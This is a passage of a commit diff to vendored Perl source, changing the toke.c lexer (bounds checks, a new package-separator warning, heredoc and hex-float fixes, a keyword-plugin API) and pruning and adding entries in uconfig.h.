-                                  "variable %s in \"our\"",
+                                  "%se %s in \"our\"",
+                                  *PL_tokenbuf=='&' ?"subroutin":"variabl",
                                   PL_tokenbuf), UTF ? SVf_UTF8 : 0);
             tmp = allocmy(PL_tokenbuf, tokenbuf_len, UTF ? SVf_UTF8 : 0);
         }
@@ -8891,13 +9000,13 @@
             if (has_colon) {
                 /* "my" variable %s can't be in a package */
                 /* PL_no_myglob is constant */
-                GCC_DIAG_IGNORE(-Wformat-nonliteral);
+                GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral);
                 yyerror_pv(Perl_form(aTHX_ PL_no_myglob,
                             PL_in_my == KEY_my ? "my" : "state",
                             *PL_tokenbuf == '&' ? "subroutin" : "variabl",
                             PL_tokenbuf),
                             UTF ? SVf_UTF8 : 0);
-                GCC_DIAG_RESTORE;
+                GCC_DIAG_RESTORE_STMT;
             }
 
             if (PL_in_my == KEY_sigvar) {
@@ -8943,7 +9052,7 @@
 		HEK * const stashname = HvNAME_HEK(stash);
 		SV *  const sym = newSVhek(stashname);
                 sv_catpvs(sym, "::");
-                sv_catpvn_flags(sym, PL_tokenbuf+1, tokenbuf_len - 1, (UTF ? SV_CATUTF8 : SV_CATBYTES ));
+                sv_catpvn_flags(sym, PL_tokenbuf+1, tokenbuf_len > 0 ? tokenbuf_len - 1 : 0, (UTF ? SV_CATUTF8 : SV_CATBYTES ));
                 pl_yylval.opval = newSVOP(OP_CONST, 0, sym);
                 pl_yylval.opval->op_private = OPpCONST_ENTERED;
                 if (pit != '&')
@@ -8971,7 +9080,7 @@
         && PL_lex_state != LEX_NORMAL
         && !PL_lex_brackets)
     {
-        GV *const gv = gv_fetchpvn_flags(PL_tokenbuf + 1, tokenbuf_len - 1,
+        GV *const gv = gv_fetchpvn_flags(PL_tokenbuf + 1, tokenbuf_len > 0 ? tokenbuf_len - 1 : 0,
                                          ( UTF ? SVf_UTF8 : 0 ) | GV_ADDMG,
                                          SVt_PVAV);
         if ((!gv || ((PL_tokenbuf[0] == '@') ? !GvAV(gv) : !GvHV(gv)))
@@ -8988,11 +9097,11 @@
     /* build ops for a bareword */
     pl_yylval.opval = newSVOP(OP_CONST, 0,
 				   newSVpvn_flags(PL_tokenbuf + 1,
-						      tokenbuf_len - 1,
+                                                      tokenbuf_len > 0 ? tokenbuf_len - 1 : 0,
                                                       UTF ? SVf_UTF8 : 0 ));
     pl_yylval.opval->op_private = OPpCONST_ENTERED;
     if (pit != '&')
-	gv_fetchpvn_flags(PL_tokenbuf+1, tokenbuf_len - 1,
+        gv_fetchpvn_flags(PL_tokenbuf+1, tokenbuf_len > 0 ? tokenbuf_len - 1 : 0,
 		     (PL_in_eval ? GV_ADDMULTI : GV_ADD)
                      | ( UTF ? SVf_UTF8 : 0 ),
 		     ((PL_tokenbuf[0] == '$') ? SVt_PV
@@ -9209,8 +9318,10 @@
 
 PERL_STATIC_INLINE void
 S_parse_ident(pTHX_ char **s, char **d, char * const e, int allow_package,
-                    bool is_utf8, bool check_dollar)
+                    bool is_utf8, bool check_dollar, bool tick_warn)
 {
+    int saw_tick = 0;
+    const char *olds = *s;
     PERL_ARGS_ASSERT_PARSE_IDENT;
 
     while (*s < PL_bufend) {
@@ -9244,6 +9355,7 @@
             *(*d)++ = ':';
             *(*d)++ = ':';
             (*s)++;
+            saw_tick++;
         }
         else if (allow_package && **s == ':' && (*s)[1] == ':'
            /* Disallow things like Foo::$bar. For the curious, this is
@@ -9257,6 +9369,30 @@
         else
             break;
     }
+    if (UNLIKELY(tick_warn && saw_tick && PL_lex_state == LEX_INTERPNORMAL
+              && !PL_lex_brackets && ckWARN(WARN_SYNTAX))) {
+        char *d;
+	char *d2;
+        Newx(d, *s - olds + saw_tick + 2, char); /* +2 for $# */
+        d2 = d;
+        SAVEFREEPV(d);
+        Perl_warner(aTHX_ packWARN(WARN_SYNTAX),
+                         "Old package separator used in string");
+        if (olds[-1] == '#')
+            *d2++ = olds[-2];
+        *d2++ = olds[-1];
+        while (olds < *s) {
+            if (*olds == '\'') {
+                *d2++ = '\\';
+                *d2++ = *olds++;
+            }
+	    else
+                *d2++ = *olds++;
+        }
+        Perl_warner(aTHX_ packWARN(WARN_SYNTAX),
+                         "\t(Did you mean \"%" UTF8f "\" instead?)\n",
+                          UTF8fARG(is_utf8, d2-d, d));
+    }
     return;
 }
 
@@ -9272,7 +9408,7 @@
 
     PERL_ARGS_ASSERT_SCAN_WORD;
 
-    parse_ident(&s, &d, e, allow_package, is_utf8, TRUE);
+    parse_ident(&s, &d, e, allow_package, is_utf8, TRUE, FALSE);
     *d = '\0';
     *slp = d - dest;
     return s;
@@ -9320,7 +9456,7 @@
 	}
     }
     else {  /* See if it is a "normal" identifier */
-        parse_ident(&s, &d, e, 1, is_utf8, FALSE);
+        parse_ident(&s, &d, e, 1, is_utf8, FALSE, TRUE);
     }
     *d = '\0';
     d = dest;
@@ -9339,7 +9475,7 @@
             || isDIGIT_A((U8)s[1])
             || s[1] == '$'
             || s[1] == '{'
-            || strEQs(s+1,"::")) )
+            || memBEGINs(s+1, (STRLEN) (PL_bufend - (s+1)), "::")) )
     {
         /* Dereferencing a value in a scalar variable.
            The alternatives are different syntaxes for a scalar variable.
@@ -9386,19 +9522,36 @@
         bool skip;
         char *s2;
         /* If we were processing {...} notation then...  */
-        if (isIDFIRST_lazy_if_safe(d, e, is_utf8)) {
-            /* if it starts as a valid identifier, assume that it is one.
-               (the later check for } being at the expected point will trap
-               cases where this doesn't pan out.)  */
-            d += is_utf8 ? UTF8SKIP(d) : 1;
-            parse_ident(&s, &d, e, 1, is_utf8, TRUE);
-	    *d = '\0';
+        if (isIDFIRST_lazy_if_safe(d, e, is_utf8)
+            || (!isPRINT(*d) /* isCNTRL(d), plus all non-ASCII */
+                 && isWORDCHAR(*s))
+        ) {
+            /* note we have to check for a normal identifier first,
+             * as it handles utf8 symbols, and only after that has
+             * been ruled out can we look at the caret words */
+            if (isIDFIRST_lazy_if_safe(d, e, is_utf8) ) {
+                /* if it starts as a valid identifier, assume that it is one.
+                   (the later check for } being at the expected point will trap
+                   cases where this doesn't pan out.)  */
+                d += is_utf8 ? UTF8SKIP(d) : 1;
+                parse_ident(&s, &d, e, 1, is_utf8, TRUE, TRUE);
+                *d = '\0';
+            }
+            else { /* caret word: ${^Foo} ${^CAPTURE[0]} */
+                d++;
+                while (isWORDCHAR(*s) && d < e) {
+                    *d++ = *s++;
+                }
+                if (d >= e)
+                    Perl_croak(aTHX_ "%s", ident_too_long);
+                *d = '\0';
+            }
             tmp_copline = CopLINE(PL_curcop);
             if (s < PL_bufend && isSPACE(*s)) {
                 s = skipspace(s);
             }
 	    if ((*s == '[' || (*s == '{' && strNE(dest, "sub")))) {
-                /* ${foo[0]} and ${foo{bar}} notation.  */
+                /* ${foo[0]} and ${foo{bar}} and ${^CAPTURE[0]} notation.  */
 		if (ckWARN(WARN_AMBIGUOUS) && keyword(dest, d - dest, 0)) {
 		    const char * const brack =
 			(const char *)
@@ -9417,26 +9570,16 @@
 		return s;
 	    }
 	}
-	/* Handle extended ${^Foo} variables
-	 * 1999-02-27 mjd-perl-patch at plover.com */
-	else if (! isPRINT(*d) /* isCNTRL(d), plus all non-ASCII */
-		 && isWORDCHAR(*s))
-	{
-	    d++;
-	    while (isWORDCHAR(*s) && d < e) {
-		*d++ = *s++;
-	    }
-	    if (d >= e)
-		Perl_croak(aTHX_ "%s", ident_too_long);
-	    *d = '\0';
-	}
 
         if ( !tmp_copline )
             tmp_copline = CopLINE(PL_curcop);
-        if ((skip = s < PL_bufend && isSPACE(*s)))
+        if ((skip = s < PL_bufend && isSPACE(*s))) {
             /* Avoid incrementing line numbers or resetting PL_linestart,
                in case we have to back up.  */
+            STRLEN s_off = s - SvPVX(PL_linestr);
             s2 = peekspace(s);
+            s = SvPVX(PL_linestr) + s_off;
+        }
         else
             s2 = s;
 
@@ -9478,9 +9621,12 @@
             CopLINE_set(PL_curcop, orig_copline);
             PL_parser->herelines = herelines;
 	    *dest = '\0';
+            PL_parser->sub_no_recover = TRUE;
 	}
     }
-    else if (PL_lex_state == LEX_INTERPNORMAL && !PL_lex_brackets && !intuit_more(s))
+    else if (   PL_lex_state == LEX_INTERPNORMAL
+             && !PL_lex_brackets
+             && !intuit_more(s, PL_bufend))
 	PL_lex_state = LEX_INTERPEND;
     return s;
 }
@@ -9713,18 +9859,14 @@
 
 	PL_multi_end = 0;
 	pm->op_pmflags |= PMf_EVAL;
-	while (es-- > 0) {
-	    if (es)
-		sv_catpvs(repl, "eval ");
-	    else
-		sv_catpvs(repl, "do ");
-	}
-	sv_catpvs(repl, "{");
+        for (; es > 1; es--) {
+            sv_catpvs(repl, "eval ");
+        }
+        sv_catpvs(repl, "do {");
 	sv_catsv(repl, PL_parser->lex_sub_repl);
 	sv_catpvs(repl, "}");
 	SvREFCNT_dec(PL_parser->lex_sub_repl);
 	PL_parser->lex_sub_repl = repl;
-        es = 1;
     }
 
 
@@ -9737,7 +9879,7 @@
          * the NVX field indicates how many src code lines the replacement
          * spreads over */
         sv_upgrade(PL_parser->lex_sub_repl, SVt_PVNV);
-        ((XPVNV*)SvANY(PL_parser->lex_sub_repl))->xnv_u.xnv_lines = 0;
+        ((XPVNV*)SvANY(PL_parser->lex_sub_repl))->xnv_u.xnv_lines = linediff;
         ((XPVIV*)SvANY(PL_parser->lex_sub_repl))->xiv_u.xivu_eval_seen =
                                                                     cBOOL(es);
     }
@@ -9880,11 +10022,9 @@
 	else
 	    term = '"';
 	if (! isWORDCHAR_lazy_if_safe(s, PL_bufend, UTF))
-	    deprecate_fatal_in("5.28", "Use of bare << to mean <<\"\" is deprecated");
+	    Perl_croak(aTHX_ "Use of bare << to mean <<\"\" is forbidden");
 	peek = s;
-        while (
-               isWORDCHAR_lazy_if_safe(peek, PL_bufend, UTF))
-        {
+        while (isWORDCHAR_lazy_if_safe(peek, PL_bufend, UTF)) {
 	    peek += UTF ? UTF8SKIP(peek) : 1;
 	}
 	len = (peek - s >= e - d) ? (e - d) : (peek - s);
@@ -9899,7 +10039,7 @@
     len = d - PL_tokenbuf;
 
 #ifndef PERL_STRICT_CR
-    d = strchr(s, '\r');
+    d = (char *) memchr(s, '\r', PL_bufend - s);
     if (d) {
 	char * const olds = s;
 	s = d;
@@ -10008,8 +10148,9 @@
 
 		    /* No whitespace or all! */
 		    if (backup == s || *backup == '\n') {
-			Newxz(indent, indent_len + 1, char);
+			Newx(indent, indent_len + 1, char);
 			memcpy(indent, backup + 1, indent_len);
+			indent[indent_len] = 0;
 			s--; /* before our delimiter */
 			PL_parser->herelines--; /* this line doesn't count */
 			break;
@@ -10143,8 +10284,9 @@
 
 		/* All whitespace or none! */
 		if (backup == found || SPACE_OR_TAB(*backup)) {
-		    Newxz(indent, indent_len + 1, char);
+		    Newx(indent, indent_len + 1, char);
 		    memcpy(indent, backup, indent_len);
+		    indent[indent_len] = 0;
 		    SvREFCNT_dec(PL_linestr);
 		    PL_linestr = linestr_save;
 		    PL_linestart = SvPVX(linestr_save);
@@ -10235,7 +10377,7 @@
   interminable:
     SvREFCNT_dec(tmpstr);
     CopLINE_set(PL_curcop, origline);
-    missingterm(PL_tokenbuf + 1);
+    missingterm(PL_tokenbuf + 1, sizeof(PL_tokenbuf) - 1);
 }
 
 /* scan_inputsymbol
@@ -10268,7 +10410,7 @@
 
     PERL_ARGS_ASSERT_SCAN_INPUTSYMBOL;
 
-    end = strchr(s, '\n');
+    end = (char *) memchr(s, '\n', PL_bufend - s);
     if (!end)
 	end = PL_bufend;
     if (s[1] == '<' && s[2] == '>' && s[3] == '>') {
@@ -10463,7 +10605,7 @@
     I32 brackets = 1;		/* bracket nesting level */
     bool has_utf8 = FALSE;	/* is there any utf8 content? */
     IV termcode;		/* terminating char. code */
-    U8 termstr[UTF8_MAXBYTES];	/* terminating string */
+    U8 termstr[UTF8_MAXBYTES+1]; /* terminating string */
     STRLEN termlen;		/* length of terminating string */
     line_t herelines;
 
@@ -10890,6 +11032,7 @@
 		  digit:
 		    just_zero = FALSE;
 		    if (!overflowed) {
+			assert(shift >= 0);
 			x = u << shift;	/* make room for the digit */
 
                         total_bits += shift;
@@ -10970,9 +11113,11 @@
                     NV nv_mult = 1.0;
 #endif
                     bool accumulate = TRUE;
-                    for (h++; (isXDIGIT(*h) || *h == '_'); h++) {
+                    U8 b;
+                    int lim = 1 << shift;
+                    for (h++; ((isXDIGIT(*h) && (b = XDIGIT_VALUE(*h)) < lim) ||
+                               *h == '_'); h++) {
                         if (isXDIGIT(*h)) {
-                            U8 b = XDIGIT_VALUE(*h);
                             significant_bits += shift;
 #ifdef HEXFP_UQUAD
                             if (accumulate) {
@@ -10979,10 +11124,11 @@
                                 if (significant_bits < NV_MANT_DIG) {
                                     /* We are in the long "run" of xdigits,
                                      * accumulate the full four bits. */
+				    assert(shift >= 0);
                                     hexfp_uquad <<= shift;
                                     hexfp_uquad |= b;
                                     hexfp_frac_bits += shift;
-                                } else {
+                                } else if (significant_bits - shift < NV_MANT_DIG) {
                                     /* We are at a hexdigit either at,
                                      * or straddling, the edge of mantissa.
                                      * We will try grabbing as many as
@@ -10991,7 +11137,9 @@
                                       significant_bits - NV_MANT_DIG;
                                     if (tail <= 0)
                                        tail += shift;
+				    assert(tail >= 0);
                                     hexfp_uquad <<= tail;
+				    assert((shift - tail) >= 0);
                                     hexfp_uquad |= b >> (shift - tail);
                                     hexfp_frac_bits += tail;
 
@@ -11030,7 +11178,7 @@
                             }
 #else /* HEXFP_NV */
                             if (accumulate) {
-                                nv_mult /= 16.0;
+                                nv_mult /= nvshift[shift];
                                 if (nv_mult > 0.0)
                                     hexfp_nv += b * nv_mult;
                                 else
@@ -11211,9 +11359,11 @@
               || UNLIKELY(hexfp && isALPHA_FOLD_EQ(*s, 'p')))
             && strchr("+-0123456789_", s[1]))
         {
-            floatit = TRUE;
+            int exp_digits = 0;
+            const char *save_s = s;
+            char * save_d = d;
 
-	    /* regardless of whether user said 3E5 or 3e5, use lower 'e',
+            /* regardless of whether user said 3E5 or 3e5, use lower 'e',
                ditto for p (hexfloats) */
             if ((isALPHA_FOLD_EQ(*s, 'e'))) {
 		/* At least some Mach atof()s don't grok 'E' */
@@ -11245,6 +11395,7 @@
 	    /* read digits of exponent */
 	    while (isDIGIT(*s) || *s == '_') {
 	        if (isDIGIT(*s)) {
+                    ++exp_digits;
 		    if (d >= e)
 		        Perl_croak(aTHX_ "%s", number_too_long);
 		    *d++ = *s++;
@@ -11256,6 +11407,20 @@
 		   lastub = s++;
 		}
 	    }
+
+            if (!exp_digits) {
+                /* no exponent digits, the [eEpP] could be for something else,
+                 * though in practice we don't get here for p since that's preparsed
+                 * earlier, and results in only the 0xX being consumed, so behave similarly
+                 * for decimal floats and consume only the D.DD, leaving the [eE] to the
+                 * next token.
+                 */
+                s = save_s;
+                d = save_d;
+            }
+            else {
+                floatit = TRUE;
+            }
 	}
 
 
@@ -11282,7 +11447,6 @@
               floatit = TRUE;
         }
 	if (floatit) {
-            STORE_LC_NUMERIC_UNDERLYING_SET_STANDARD();
 	    /* terminate the string */
 	    *d = '\0';
             if (UNLIKELY(hexfp)) {
@@ -11299,7 +11463,6 @@
             } else {
                 nv = Atof(PL_tokenbuf);
             }
-            RESTORE_LC_NUMERIC_UNDERLYING();
             sv = newSVnv(nv);
 	}
 
@@ -11398,7 +11561,7 @@
 	    if (!got_some)
 		break;
 	}
-	incline(s);
+	incline(s, PL_bufend);
     }
   enough:
     if (!SvCUR(stuff) || needargs)
@@ -11455,6 +11618,39 @@
     return oldsavestack_ix;
 }
 
+
+/* Do extra initialisation of a CV (typically one just created by
+ * start_subparse()) if that CV is for a named sub
+ */
+
+void
+Perl_init_named_cv(pTHX_ CV *cv, OP *nameop)
+{
+    PERL_ARGS_ASSERT_INIT_NAMED_CV;
+
+    if (nameop->op_type == OP_CONST) {
+        const char *const name = SvPV_nolen_const(((SVOP*)nameop)->op_sv);
+        if (   strEQ(name, "BEGIN")
+            || strEQ(name, "END")
+            || strEQ(name, "INIT")
+            || strEQ(name, "CHECK")
+            || strEQ(name, "UNITCHECK")
+        )
+          CvSPECIAL_on(cv);
+    }
+    else
+    /* State subs inside anonymous subs need to be
+     clonable themselves. */
+    if (   CvANON(CvOUTSIDE(cv))
+        || CvCLONE(CvOUTSIDE(cv))
+        || !PadnameIsSTATE(PadlistNAMESARRAY(CvPADLIST(
+                        CvOUTSIDE(cv)
+                     ))[nameop->op_targ])
+    )
+      CvCLONE_on(cv);
+}
+
+
 static int
 S_yywarn(pTHX_ const char *const s, U32 flags)
 {
@@ -11646,7 +11842,9 @@
 		/* diag_listed_as: Unsupported script encoding %s */
 		Perl_croak(aTHX_ "Unsupported script encoding UTF-32LE");
 #ifndef PERL_NO_UTF16_FILTER
+#ifdef DEBUGGING
 	    if (DEBUG_p_TEST || DEBUG_T_TEST) PerlIO_printf(Perl_debug_log, "UTF-16LE script encoding (BOM)\n");
+#endif
 	    s += 2;
 	    if (PL_bufend > (char*)s) {
 		s = add_utf16_textfilter(s, TRUE);
@@ -11660,7 +11858,9 @@
     case 0xFE:
 	if (s[1] == 0xFF) {   /* UTF-16 big-endian? */
 #ifndef PERL_NO_UTF16_FILTER
+#ifdef DEBUGGING
 	    if (DEBUG_p_TEST || DEBUG_T_TEST) PerlIO_printf(Perl_debug_log, "UTF-16BE script encoding (BOM)\n");
+#endif
 	    s += 2;
 	    if (PL_bufend > (char *)s) {
 		s = add_utf16_textfilter(s, FALSE);
@@ -11672,10 +11872,11 @@
 	}
 	break;
     case BOM_UTF8_FIRST_BYTE: {
-        const STRLEN len = sizeof(BOM_UTF8_TAIL) - 1; /* Exclude trailing NUL */
-        if (slen > len && memEQ(s+1, BOM_UTF8_TAIL, len)) {
+        if (memBEGINs(s+1, slen - 1, BOM_UTF8_TAIL)) {
+#ifdef DEBUGGING
             if (DEBUG_p_TEST || DEBUG_T_TEST) PerlIO_printf(Perl_debug_log, "UTF-8 script encoding (BOM)\n");
-            s += len + 1;                      /* UTF-8 */
+#endif
+            s += sizeof(BOM_UTF8) - 1;                     /* UTF-8 */
         }
         break;
     }
@@ -11693,7 +11894,9 @@
 		   * 00 xx 00 xx
 		   * are a good indicator of UTF-16BE. */
 #ifndef PERL_NO_UTF16_FILTER
+#ifdef DEBUGGING
 		  if (DEBUG_p_TEST || DEBUG_T_TEST) PerlIO_printf(Perl_debug_log, "UTF-16BE script encoding (no BOM)\n");
+#endif
 		  s = add_utf16_textfilter(s, FALSE);
 #else
 		  /* diag_listed_as: Unsupported script encoding %s */
@@ -11709,7 +11912,9 @@
 		   * xx 00 xx 00
 		   * are a good indicator of UTF-16LE. */
 #ifndef PERL_NO_UTF16_FILTER
+#ifdef DEBUGGING
 	      if (DEBUG_p_TEST || DEBUG_T_TEST) PerlIO_printf(Perl_debug_log, "UTF-16LE script encoding (no BOM)\n");
+#endif
 	      s = add_utf16_textfilter(s, TRUE);
 #else
 	      /* diag_listed_as: Unsupported script encoding %s */
@@ -11810,10 +12015,15 @@
 	    }
 	}
 
+        /* 'chars' isn't quite the right name, as code points above 0xFFFF
+         * require 4 bytes per char */
 	chars = SvCUR(utf16_buffer) >> 1;
 	have = SvCUR(utf8_buffer);
-	SvGROW(utf8_buffer, have + chars * 3 + 1);
 
+        /* Assume the worst case size as noted by the functions: twice the
+         * number of input bytes */
+	SvGROW(utf8_buffer, have + chars * 4 + 1);
+
 	if (reverse) {
 	    end = utf16_to_utf8_reversed((U8*)SvPVX(utf16_buffer),
 					 (U8*)SvPVX_const(utf8_buffer) + have,
@@ -11971,6 +12181,79 @@
     return KEYWORD_PLUGIN_DECLINE;
 }
 
+/*
+=for apidoc Amx|void|wrap_keyword_plugin|Perl_keyword_plugin_t new_plugin|Perl_keyword_plugin_t *old_plugin_p
+
+Puts a C function into the chain of keyword plugins.  This is the
+preferred way to manipulate the L</PL_keyword_plugin> variable.
+C<new_plugin> is a pointer to the C function that is to be added to the
+keyword plugin chain, and C<old_plugin_p> points to the storage location
+where a pointer to the next function in the chain will be stored.  The
+value of C<new_plugin> is written into the L</PL_keyword_plugin> variable,
+while the value previously stored there is written to C<*old_plugin_p>.
+
+L</PL_keyword_plugin> is global to an entire process, and a module wishing
+to hook keyword parsing may find itself invoked more than once per
+process, typically in different threads.  To handle that situation, this
+function is idempotent.  The location C<*old_plugin_p> must initially
+(once per process) contain a null pointer.  A C variable of static
+duration (declared at file scope, typically also marked C<static> to give
+it internal linkage) will be implicitly initialised appropriately, if it
+does not have an explicit initialiser.  This function will only actually
+modify the plugin chain if it finds C<*old_plugin_p> to be null.  This
+function is also thread safe on the small scale.  It uses appropriate
+locking to avoid race conditions in accessing L</PL_keyword_plugin>.
+
+When this function is called, the function referenced by C<new_plugin>
+must be ready to be called, except for C<*old_plugin_p> being unfilled.
+In a threading situation, C<new_plugin> may be called immediately, even
+before this function has returned.  C<*old_plugin_p> will always be
+appropriately set before C<new_plugin> is called.  If C<new_plugin>
+decides not to do anything special with the identifier that it is given
+(which is the usual case for most calls to a keyword plugin), it must
+chain the plugin function referenced by C<*old_plugin_p>.
+
+Taken all together, XS code to install a keyword plugin should typically
+look something like this:
+
+    static Perl_keyword_plugin_t next_keyword_plugin;
+    static OP *my_keyword_plugin(pTHX_
+        char *keyword_plugin, STRLEN keyword_len, OP **op_ptr)
+    {
+        if (memEQs(keyword_ptr, keyword_len,
+                   "my_new_keyword")) {
+            ...
+        } else {
+            return next_keyword_plugin(aTHX_
+                keyword_ptr, keyword_len, op_ptr);
+        }
+    }
+    BOOT:
+        wrap_keyword_plugin(my_keyword_plugin,
+                            &next_keyword_plugin);
+
+Direct access to L</PL_keyword_plugin> should be avoided.
+
+=cut
+*/
+
+void
+Perl_wrap_keyword_plugin(pTHX_
+    Perl_keyword_plugin_t new_plugin, Perl_keyword_plugin_t *old_plugin_p)
+{
+    dVAR;
+
+    PERL_UNUSED_CONTEXT;
+    PERL_ARGS_ASSERT_WRAP_KEYWORD_PLUGIN;
+    if (*old_plugin_p) return;
+    KEYWORD_PLUGIN_MUTEX_LOCK;
+    if (!*old_plugin_p) {
+        *old_plugin_p = PL_keyword_plugin;
+        PL_keyword_plugin = new_plugin;
+    }
+    KEYWORD_PLUGIN_MUTEX_UNLOCK;
+}
+
 #define parse_recdescent(g,p) S_parse_recdescent(aTHX_ g,p)
 static void
 S_parse_recdescent(pTHX_ int gramtype, I32 fakeeof)

Modified: vendor/perl/dist/uconfig.h
===================================================================
--- vendor/perl/dist/uconfig.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/uconfig.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -28,24 +28,6 @@
  */
 /*#define HAS_ALARM		/ **/
 
-/* HAS_BCMP:
- *	This symbol is defined if the bcmp() routine is available to
- *	compare blocks of memory.
- */
-/*#define HAS_BCMP	/ **/
-
-/* HAS_BCOPY:
- *	This symbol is defined if the bcopy() routine is available to
- *	copy blocks of memory.
- */
-/*#define HAS_BCOPY	/ **/
-
-/* HAS_BZERO:
- *	This symbol is defined if the bzero() routine is available to
- *	set a memory block to 0.
- */
-/*#define HAS_BZERO	/ **/
-
 /* HAS_CBRT:
  *	This symbol, if defined, indicates that the cbrt() (cube root)
  *	function is available.
@@ -88,14 +70,6 @@
  */
 /*#define HAS_CUSERID		/ **/
 
-/* HAS_DBL_DIG:
- *	This symbol, if defined, indicates that this system's <float.h>
- *	or <limits.h> defines the symbol DBL_DIG, which is the number
- *	of significant digits in a double precision number.  If this
- *	symbol is not defined, a guess of 15 is usually pretty good.
- */
-/*#define HAS_DBL_DIG 	/ **/
-
 /* HAS_DIFFTIME:
  *	This symbol, if defined, indicates that the difftime routine is
  *	available.
@@ -262,32 +236,6 @@
  */
 /*#define HAS_MBTOWC		/ **/
 
-/* HAS_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	to compare blocks of memory.
- */
-#define HAS_MEMCMP	/**/
-
-/* HAS_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy blocks of memory.
- */
-#define HAS_MEMCPY	/**/
-
-/* HAS_MEMMOVE:
- *	This symbol, if defined, indicates that the memmove routine is available
- *	to copy potentially overlapping blocks of memory. This should be used
- *	only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your
- *	own version.
- */
-/*#define HAS_MEMMOVE	/ **/
-
-/* HAS_MEMSET:
- *	This symbol, if defined, indicates that the memset routine is available
- *	to set blocks of memory.
- */
-#define HAS_MEMSET	/**/
-
 /* HAS_MKDIR:
  *	This symbol, if defined, indicates that the mkdir routine is available
  *	to create directories.  Otherwise you should fork off a new process to
@@ -309,6 +257,12 @@
  */
 /*#define HAS_MKTIME		/ **/
 
+/* HAS_MSG:
+ *	This symbol, if defined, indicates that the entire msg*(2) library is
+ *	supported (IPC mechanism based on message queues).
+ */
+/*#define HAS_MSG		/ **/
+
 /* HAS_MSYNC:
  *	This symbol, if defined, indicates that the msync system call is
  *	available to synchronize a mapped file.
@@ -418,6 +372,12 @@
  */
 /*#define HAS_SELECT	/ **/
 
+/* HAS_SEM:
+ *	This symbol, if defined, indicates that the entire sem*(2) library is
+ *	supported.
+ */
+/*#define HAS_SEM		/ **/
+
 /* HAS_SETEGID:
  *	This symbol, if defined, indicates that the setegid routine is available
  *	to change the effective gid of the current program.
@@ -518,18 +478,6 @@
  */
 #define HAS_STAT	/**/
 
-/* HAS_STRCHR:
- *	This symbol is defined to indicate that the strchr()/strrchr()
- *	functions are available for string searching. If not, try the
- *	index()/rindex() pair.
- */
-/* HAS_INDEX:
- *	This symbol is defined to indicate that the index()/rindex()
- *	functions are available for string searching.
- */
-/*#define HAS_STRCHR	/ **/
-/*#define HAS_INDEX	/ **/
-
 /* HAS_STRCOLL:
  *	This symbol, if defined, indicates that the strcoll routine is
  *	available to compare strings using collating information.
@@ -678,13 +626,6 @@
  */
 /*#define I_FCNTL	/ **/
 
-/* I_FLOAT:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <float.h> to get definition of symbols like DBL_MAX or
- *	DBL_MIN, i.e. machine dependent floating point values.
- */
-/*#define I_FLOAT		/ **/
-
 /* I_GDBM:
  *	This symbol, if defined, indicates that <gdbm.h> exists and should
  *	be included.
@@ -691,13 +632,6 @@
  */
 /*#define I_GDBM	/ **/
 
-/* I_LIMITS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <limits.h> to get definition of symbols like WORD_BIT or
- *	LONG_MAX, i.e. machine dependant limitations.
- */
-/*#define I_LIMITS		/ **/
-
 /* I_LOCALE:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <locale.h>.
@@ -704,18 +638,6 @@
  */
 /*#define	I_LOCALE		/ **/
 
-/* I_MATH:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <math.h>.
- */
-#define I_MATH		/**/
-
-/* I_MEMORY:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <memory.h>.
- */
-/*#define I_MEMORY		/ **/
-
 /* I_NETINET_IN:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <netinet/in.h>. Otherwise, you may try <sys/in.h>.
@@ -722,24 +644,6 @@
  */
 /*#define I_NETINET_IN	/ **/
 
-/* I_STDDEF:
- *	This symbol, if defined, indicates that <stddef.h> exists and should
- *	be included.
- */
-#define I_STDDEF	/**/
-
-/* I_STDLIB:
- *	This symbol, if defined, indicates that <stdlib.h> exists and should
- *	be included.
- */
-#define I_STDLIB		/**/
-
-/* I_STRING:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <string.h> (USG systems) instead of <strings.h> (BSD systems).
- */
-#define I_STRING		/**/
-
 /* I_SYS_DIR:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <sys/dir.h>.
@@ -836,14 +740,6 @@
  */
 /*#define I_UTIME		/ **/
 
-/* I_VALUES:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <values.h> to get definition of symbols like MINFLOAT or
- *	MAXLONG, i.e. machine dependant limitations.  Probably, you
- *	should use <limits.h> instead, if it is available.
- */
-/*#define I_VALUES		/ **/
-
 /* I_VFORK:
  *	This symbol, if defined, indicates to the C program that it should
  *	include vfork.h.
@@ -856,28 +752,6 @@
  */
 #define STDCHAR char	/**/
 
-/* CAN_VAPROTO:
- *	This variable is defined on systems supporting prototype declaration
- *	of functions with a variable number of arguments.
- */
-/* _V:
- *	This macro is used to declare function parameters in prototypes for
- *	functions with a variable number of parameters. Use double parentheses.
- *	For example:
- *
- *		int printf _V((char *fmt, ...));
- *
- *	Remember to use the plain simple _() macro when declaring a function
- *	with no variable number of arguments, since it might be possible to
- *	have a non-effect _V() macro and still get prototypes via _().
- */
-/*#define CAN_VAPROTO	/ **/
-#ifdef CAN_VAPROTO
-#define	_V(args) args
-#else
-#define	_V(args) ()
-#endif
-
 /* INTSIZE:
  *	This symbol contains the value of sizeof(int) so that the C
  *	preprocessor can make decisions based on it.
@@ -934,14 +808,14 @@
 /*#define HAS_EACCESS		/ **/
 
 /* I_SYS_ACCESS:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <sys/access.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <sys/access.h>.
  */
 /*#define   I_SYS_ACCESS                / **/
 
 /* I_SYS_SECURITY:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <sys/security.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <sys/security.h>.
  */
 /*#define   I_SYS_SECURITY	/ **/
 
@@ -949,7 +823,7 @@
  *	This symbol contains the number of bytes required to align a
  *	double, or a long double when applicable. Usual values are 2,
  *	4 and 8. The default is eight, for safety.  For cross-compiling
- *  	or multiarch support, Configure will set a minimum of 8.
